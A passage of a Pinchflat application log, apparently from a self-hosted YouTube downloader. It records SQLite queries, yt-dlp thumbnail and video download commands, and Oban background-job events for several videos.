s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:25.034 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZpREYArDzQY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/65/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a7/ea/a7eaa82e06b6523cc7029e7b6ae1c3fcfc326ec4b70a01633bf4881821126e3b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:07:27.741 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=ZpREYArDzQY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/65/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/a7/ea/a7eaa82e06b6523cc7029e7b6ae1c3fcfc326ec4b70a01633bf4881821126e3b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:07:27.742 [debug] QUERY OK db=0.0ms idle=1679.1ms begin [] 22:07:27.742 [debug] QUERY OK source="media_items" db=0.4ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:07:25Z], "/downloads/Last Meals/2023-04-18 Peyton List Eats Her Last Meal/Peyton List Eats Her Last Meal [ZpREYArDzQY].mp4", ~U[2026-03-28 02:07:27Z], 65] 22:07:27.743 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/65/metadata.json.gz", "/config/metadata/media_items/65/thumbnail.jpg", 65, ~U[2026-03-28 02:07:27Z], ~U[2026-03-28 02:07:27Z]] 22:07:27.743 [debug] QUERY OK db=0.1ms commit [] 22:07:27.756 [debug] QUERY OK source="media_items" db=12.8ms idle=1680.8ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [257243686, ~U[2026-03-28 02:07:27Z], 65] 22:07:27.756 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:07:27.758 [info] {"args":{"id":65},"id":70,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":112137785,"event":"job:stop","queue_time":4620618393,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:07:27.759 [debug] QUERY OK source="tasks" db=0.5ms idle=376.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:07:27.759 [debug] QUERY OK source="tasks" db=0.5ms idle=1378.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:07:27.759 [debug] QUERY OK source="media_items" db=0.3ms idle=16.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [66] 22:07:27.759 [debug] QUERY OK source="media_items" db=0.3ms idle=3.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [66] 22:07:27.765 [info] {"args":{"id":67},"id":72,"meta":{},"system_time":1774663647764982022,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:07:27.766 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=5.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [67] 22:07:27.766 [debug] QUERY OK source="tasks" db=1.1ms idle=5.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:07:27.766 [debug] QUERY OK source="tasks" db=1.1ms idle=5.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:07:27.766 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:07:27.767 [debug] QUERY OK source="sources" db=0.9ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:07:27.767 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=6.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [66, 67] 22:07:27.767 [debug] QUERY OK source="media_items" db=1.1ms idle=0.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [66, 67] 22:07:27.768 [debug] QUERY OK source="media_profiles" db=0.5ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:07:27.769 [debug] QUERY OK source="media_items" db=0.3ms idle=2.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [67] 22:07:27.769 [debug] QUERY OK source="media_metadata" db=0.1ms idle=1.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [67] 22:07:27.770 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:07:27.770 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:27.770 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:27.771 [debug] Running yt-dlp command for action: get_downloadable_status 22:07:27.771 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:27.772 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:27.772 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:27.772 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=IzrU7pGbusU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e8/26/e826c008715ad6267b54fff6efb47aefd0c27fb689fc68c4e5af23e0402908ea.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:07:28.833 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:30.499 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=IzrU7pGbusU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/e8/26/e826c008715ad6267b54fff6efb47aefd0c27fb689fc68c4e5af23e0402908ea.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:07:30.500 [debug] Running yt-dlp command for action: download 22:07:30.500 [debug] QUERY OK source="settings" db=0.0ms idle=1437.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:30.500 [debug] QUERY OK source="settings" db=0.0ms idle=1437.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:30.500 [debug] QUERY OK source="settings" db=0.0ms idle=1115.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:30.500 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=IzrU7pGbusU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/aa/48/aa486e40c189badc7a0fb3663160a7fbd9e1896915f1ba57f4b24181b22e3c8a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:07:58.835 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:00.645 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:08:28.836 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:29.948 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4ofJpOEXrZs --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/dd/84/dd84b5316c39bb9334f0d94b213f899257638e10177cfbba5a0fc666d2527f56.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:08:29.963 [debug] Running yt-dlp command for action: download_thumbnail 22:08:29.964 [debug] QUERY OK source="settings" db=0.2ms idle=1901.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:29.964 [debug] QUERY OK source="settings" db=0.0ms idle=1901.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:29.964 [debug] QUERY OK source="settings" db=0.0ms idle=1471.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:08:29.964 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4ofJpOEXrZs --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/66/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/5d/6c/5d6ccca15505118cf7f05b02eb7c5f63e63de4d26280a4b5facf22fffebb6d93.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:08:33.147 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4ofJpOEXrZs --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/66/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/5d/6c/5d6ccca15505118cf7f05b02eb7c5f63e63de4d26280a4b5facf22fffebb6d93.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:08:33.147 [debug] QUERY OK db=0.0ms idle=1085.4ms begin [] 22:08:33.148 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "subtitle_filepaths" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:08:29Z], "/downloads/TADC/2024-05-03 THE AMAZING DIGITAL CIRCUS - Ep 2: Candy Carrier Chaos!/THE AMAZING DIGITAL CIRCUS - Ep 2: Candy Carrier Chaos! [4ofJpOEXrZs].mp4", [["en", "/downloads/TADC/2024-05-03 THE AMAZING DIGITAL CIRCUS - Ep 2: Candy Carrier Chaos!/THE AMAZING DIGITAL CIRCUS - Ep 2: Candy Carrier Chaos! [4ofJpOEXrZs].en.vtt"]], ~U[2026-03-28 02:08:33Z], 66] 22:08:33.148 [debug] QUERY OK source="media_metadata" db=0.1ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/66/metadata.json.gz", "/config/metadata/media_items/66/thumbnail.jpg", 66, ~U[2026-03-28 02:08:33Z], ~U[2026-03-28 02:08:33Z]] 22:08:33.148 [debug] QUERY OK db=0.1ms commit [] 22:08:33.149 [debug] QUERY OK source="media_items" db=0.3ms idle=649.2ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [334148546, ~U[2026-03-28 02:08:33Z], 66] 22:08:33.150 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:08:33.150 [info] {"args":{"id":66},"id":71,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":110802304,"event":"job:stop","queue_time":4686347394,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:08:33.150 [debug] QUERY OK source="tasks" db=0.3ms idle=87.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:08:33.150 [debug] QUERY OK source="tasks" db=0.3ms idle=87.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:08:33.151 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [67] 22:08:33.151 [debug] QUERY OK source="media_items" db=0.4ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [67] 22:08:33.156 [info] {"args":{"id":68},"id":73,"meta":{},"system_time":1774663713156647715,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:08:33.156 [debug] QUERY OK source="media_items" db=0.1ms idle=5.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [68] 22:08:33.156 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:08:33.157 [debug] QUERY OK source="tasks" db=0.3ms idle=5.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:08:33.157 [debug] QUERY OK source="tasks" db=0.3ms idle=5.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:08:33.157 [debug] QUERY OK source="sources" db=0.3ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:08:33.157 [debug] QUERY OK source="media_items" db=0.3ms idle=0.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [67, 68] 22:08:33.157 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", 